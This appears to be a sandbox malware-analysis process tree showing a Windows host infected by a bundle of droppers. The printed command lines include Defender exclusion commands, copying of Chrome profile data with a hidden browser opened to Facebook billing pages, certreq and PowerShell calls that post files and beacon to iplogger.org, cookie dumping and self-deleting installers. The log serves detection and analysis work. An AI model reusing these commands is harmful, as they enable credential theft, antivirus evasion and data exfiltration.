C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3568 /prefetch:817⤵PID:652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4324 /prefetch:817⤵PID:6260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4536 /prefetch:117⤵PID:4860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4204 /prefetch:817⤵PID:6740
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4136 /prefetch:817⤵PID:5844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4540 /prefetch:817⤵PID:2980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3728 /prefetch:817⤵PID:6448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4584 /prefetch:817⤵PID:4452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4496 /prefetch:817⤵PID:5232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4040 /prefetch:817⤵PID:7592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5140 /prefetch:117⤵PID:6472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5216 /prefetch:817⤵PID:3552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3268 /prefetch:817⤵PID:7512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4344 /prefetch:817⤵PID:6612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3260 /prefetch:817⤵PID:6416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5420 /prefetch:817⤵PID:7776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4444 /prefetch:117⤵PID:6684
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5652 /prefetch:817⤵PID:7684
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3492 /prefetch:817⤵PID:4624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1592,11143741927101425550,1242847187828187424,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4788 /prefetch:817⤵PID:5108
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg13⤵
- Runs .reg file with regedit
PID:5232
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exeparse.exe -f json -b firefox13⤵PID:8056
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exeparse.exe -f json -b chrome13⤵PID:1408
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\parse.exeparse.exe -f json -b edge13⤵PID:7836
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0lh2ctvd.xtz\askinstall18.exe & exit10⤵PID:6168
-
C:\Users\Admin\AppData\Local\Temp\0lh2ctvd.xtz\askinstall18.exeC:\Users\Admin\AppData\Local\Temp\0lh2ctvd.xtz\askinstall18.exe11⤵PID:6924
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe12⤵PID:7272
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe13⤵
- Kills process with taskkill
PID:7384
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\v0c5fs4w.pks\md7_7dfj.exe & exit10⤵PID:7096
-
C:\Users\Admin\AppData\Local\Temp\v0c5fs4w.pks\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\v0c5fs4w.pks\md7_7dfj.exe11⤵PID:5244
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uiwdvv1z.r0r\privacytools5.exe & exit10⤵PID:7912
-
C:\Users\Admin\AppData\Local\Temp\uiwdvv1z.r0r\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\uiwdvv1z.r0r\privacytools5.exe11⤵PID:4392
-
C:\Users\Admin\AppData\Local\Temp\uiwdvv1z.r0r\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\uiwdvv1z.r0r\privacytools5.exe12⤵PID:4820
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rhddhnna.v5u\GcleanerWW.exe /mixone & exit10⤵PID:908
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lncpbfdg.lpu\setup.exe /8-2222 & exit10⤵PID:5440
-
C:\Users\Admin\AppData\Local\Temp\lncpbfdg.lpu\setup.exeC:\Users\Admin\AppData\Local\Temp\lncpbfdg.lpu\setup.exe /8-222211⤵PID:5568
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Muddy-Water"12⤵PID:3324
-
-
C:\Program Files (x86)\Muddy-Water\7za.exe"C:\Program Files (x86)\Muddy-Water\7za.exe" e -p154.61.71.13 winamp-plugins.7z12⤵PID:7760
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2am0jz2n.s2o\MultitimerFour.exe & exit10⤵PID:7004
-
C:\Users\Admin\AppData\Local\Temp\2am0jz2n.s2o\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\2am0jz2n.s2o\MultitimerFour.exe11⤵PID:8040
-
C:\Users\Admin\AppData\Local\Temp\ZIIM6GCT6Q\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZIIM6GCT6Q\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10412⤵PID:6076
-
C:\Users\Admin\AppData\Local\Temp\ZIIM6GCT6Q\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZIIM6GCT6Q\multitimer.exe" 1 3.1615299913.60478549c7026 10413⤵PID:7712
-
C:\Users\Admin\AppData\Local\Temp\ZIIM6GCT6Q\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\ZIIM6GCT6Q\multitimer.exe" 2 3.1615299913.60478549c702614⤵PID:5104
-
C:\Users\Admin\AppData\Local\Temp\v0koze0zaxl\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\v0koze0zaxl\askinstall24.exe"15⤵PID:5916
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe16⤵PID:7260
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe17⤵
- Kills process with taskkill
PID:6408
-
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99\" /s /e /y16⤵PID:4396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/16⤵PID:7984
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xec,0xf0,0xf4,0xc8,0xf8,0x7ffb87e36e00,0x7ffb87e36e10,0x7ffb87e36e2017⤵PID:5196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --mojo-platform-channel-handle=1676 /prefetch:817⤵PID:4960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --mojo-platform-channel-handle=2252 /prefetch:817⤵PID:752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1628 /prefetch:217⤵PID:7912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:117⤵PID:5112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:117⤵PID:5404
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:117⤵PID:7284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:117⤵PID:7724
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2796 /prefetch:117⤵PID:7712
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,12366828763959431665,672211006731645917,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3708 /prefetch:117⤵PID:4476
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kdvvlrl3ipq\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\kdvvlrl3ipq\chashepro3.exe" /VERYSILENT15⤵PID:6788
-
C:\Users\Admin\AppData\Local\Temp\is-FV5AF.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-FV5AF.tmp\chashepro3.tmp" /SL5="$504DA,1478410,58368,C:\Users\Admin\AppData\Local\Temp\kdvvlrl3ipq\chashepro3.exe" /VERYSILENT16⤵PID:4756
-
C:\Program Files (x86)\JCleaner\mex.exe"C:\Program Files (x86)\JCleaner\mex.exe"17⤵PID:6592
-
C:\Program Files (x86)\JCleaner\mex.exe"{path}"18⤵PID:8128
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\JCleaner\mex.exe"19⤵PID:8116
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK20⤵
- Delays execution with timeout.exe
PID:7860
-
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"17⤵PID:7656
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"17⤵PID:7832
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\217⤵PID:6964
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\218⤵PID:6388
-
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"C:\Program Files (x86)\JCleaner\Venita.exe"17⤵PID:4352
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"18⤵PID:7540
-
-
-
C:\Program Files (x86)\JCleaner\Brava.exe"C:\Program Files (x86)\JCleaner\Brava.exe"17⤵PID:6604
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"17⤵PID:6644
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"17⤵PID:7452
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\uwoqo0bc0oc\vict.exe"C:\Users\Admin\AppData\Local\Temp\uwoqo0bc0oc\vict.exe" /VERYSILENT /id=53515⤵PID:8032
-
C:\Users\Admin\AppData\Local\Temp\is-E6P1N.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-E6P1N.tmp\vict.tmp" /SL5="$502D8,870426,780800,C:\Users\Admin\AppData\Local\Temp\uwoqo0bc0oc\vict.exe" /VERYSILENT /id=53516⤵PID:7792
-
C:\Users\Admin\AppData\Local\Temp\is-NC28T.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-NC28T.tmp\wimapi.exe" 53517⤵PID:7188
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\23a45ne1jhs\nqph2zg2czb.exe"C:\Users\Admin\AppData\Local\Temp\23a45ne1jhs\nqph2zg2czb.exe" /ustwo INSTALL15⤵PID:7368
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "nqph2zg2czb.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\23a45ne1jhs\nqph2zg2czb.exe" & exit16⤵PID:1768
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "nqph2zg2czb.exe" /f17⤵
- Kills process with taskkill
PID:7884
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\oabkdgw2131\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\oabkdgw2131\Setup3310.exe" /Verysilent /subid=57715⤵PID:4888
-
C:\Users\Admin\AppData\Local\Temp\is-6TAA7.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-6TAA7.tmp\Setup3310.tmp" /SL5="$504EC,802346,56832,C:\Users\Admin\AppData\Local\Temp\oabkdgw2131\Setup3310.exe" /Verysilent /subid=57716⤵PID:6312
-
C:\Users\Admin\AppData\Local\Temp\is-8J2J2.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-8J2J2.tmp\Setup.exe" /Verysilent17⤵PID:3964
-
C:\Users\Admin\AppData\Local\Temp\is-8FDIB.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-8FDIB.tmp\Setup.tmp" /SL5="$403A2,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-8J2J2.tmp\Setup.exe" /Verysilent18⤵PID:6200
-
C:\Users\Admin\AppData\Local\Temp\is-PU1UQ.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-PU1UQ.tmp\PictureLAb.exe" /Verysilent19⤵PID:4572
-
C:\Users\Admin\AppData\Local\Temp\is-GAU0A.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-GAU0A.tmp\PictureLAb.tmp" /SL5="$803C2,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-PU1UQ.tmp\PictureLAb.exe" /Verysilent20⤵PID:6648
-
C:\Users\Admin\AppData\Local\Temp\is-OK3QF.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OK3QF.tmp\Setup.exe" /VERYSILENT21⤵PID:7024
-
C:\Users\Admin\AppData\Local\Temp\is-DFPOP.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-DFPOP.tmp\Setup.tmp" /SL5="$304D2,298255,214528,C:\Users\Admin\AppData\Local\Temp\is-OK3QF.tmp\Setup.exe" /VERYSILENT22⤵PID:5824
-
C:\Users\Admin\AppData\Local\Temp\is-JV9QF.tmp\def.exe"C:\Users\Admin\AppData\Local\Temp\is-JV9QF.tmp\def.exe" /S /UID=lab21423⤵PID:4316
-
C:\Users\Admin\AppData\Local\Temp\f0-239a7-759-7e9a8-cd337ddf91589\Nomizhaeqevy.exe"C:\Users\Admin\AppData\Local\Temp\f0-239a7-759-7e9a8-cd337ddf91589\Nomizhaeqevy.exe"24⤵PID:4152
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\fkb0xzbflnd\app.exe"C:\Users\Admin\AppData\Local\Temp\fkb0xzbflnd\app.exe" /8-2315⤵PID:4220
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Rough-Glade"16⤵PID:4608
-
-
C:\Program Files (x86)\Rough-Glade\7za.exe"C:\Program Files (x86)\Rough-Glade\7za.exe" e -p154.61.71.13 winamp-plugins.7z16⤵PID:7016
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Rough-Glade\app.exe" -map "C:\Program Files (x86)\Rough-Glade\WinmonProcessMonitor.sys""16⤵PID:4504
-
C:\Program Files (x86)\Rough-Glade\app.exe"C:\Program Files (x86)\Rough-Glade\app.exe" -map "C:\Program Files (x86)\Rough-Glade\WinmonProcessMonitor.sys"17⤵PID:1632
-
-
-
C:\Program Files (x86)\Rough-Glade\7za.exe"C:\Program Files (x86)\Rough-Glade\7za.exe" e -p154.61.71.13 winamp.7z16⤵PID:7584
-
-
C:\Program Files (x86)\Rough-Glade\app.exe"C:\Program Files (x86)\Rough-Glade\app.exe" /8-2316⤵PID:5840
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\Delta.exe" /Verysilent4⤵PID:7508
-
C:\Users\Admin\AppData\Local\Temp\is-5M8AL.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-5M8AL.tmp\Delta.tmp" /SL5="$30420,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\Delta.exe" /Verysilent5⤵PID:7604
-
C:\Users\Admin\AppData\Local\Temp\is-I3QLU.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-I3QLU.tmp\Setup.exe" /VERYSILENT6⤵PID:7132
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-I3QLU.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit7⤵PID:8092
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f8⤵
- Kills process with taskkill
PID:5632
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:3140
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\zznote.exe" /Verysilent4⤵PID:5588
-
C:\Users\Admin\AppData\Local\Temp\is-40646.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-40646.tmp\zznote.tmp" /SL5="$40420,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\zznote.exe" /Verysilent5⤵PID:5740
-
C:\Users\Admin\AppData\Local\Temp\is-0G9BE.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-0G9BE.tmp\jg4_4jaa.exe" /silent6⤵PID:8096
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-1KBN7.tmp\hjjgaa.exe" /Verysilent4⤵PID:7696
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:7412
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:6352
-
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5624
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4952
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:4520
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{1b9750d3-b86d-224c-aa6c-96147ae72e72}\oemvista.inf" "9" "4d14a44ff" "0000000000000164" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:4804
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000017C"2⤵PID:4788
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:6148
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:6168
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6516
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6744
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:7988
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:3024
-
-
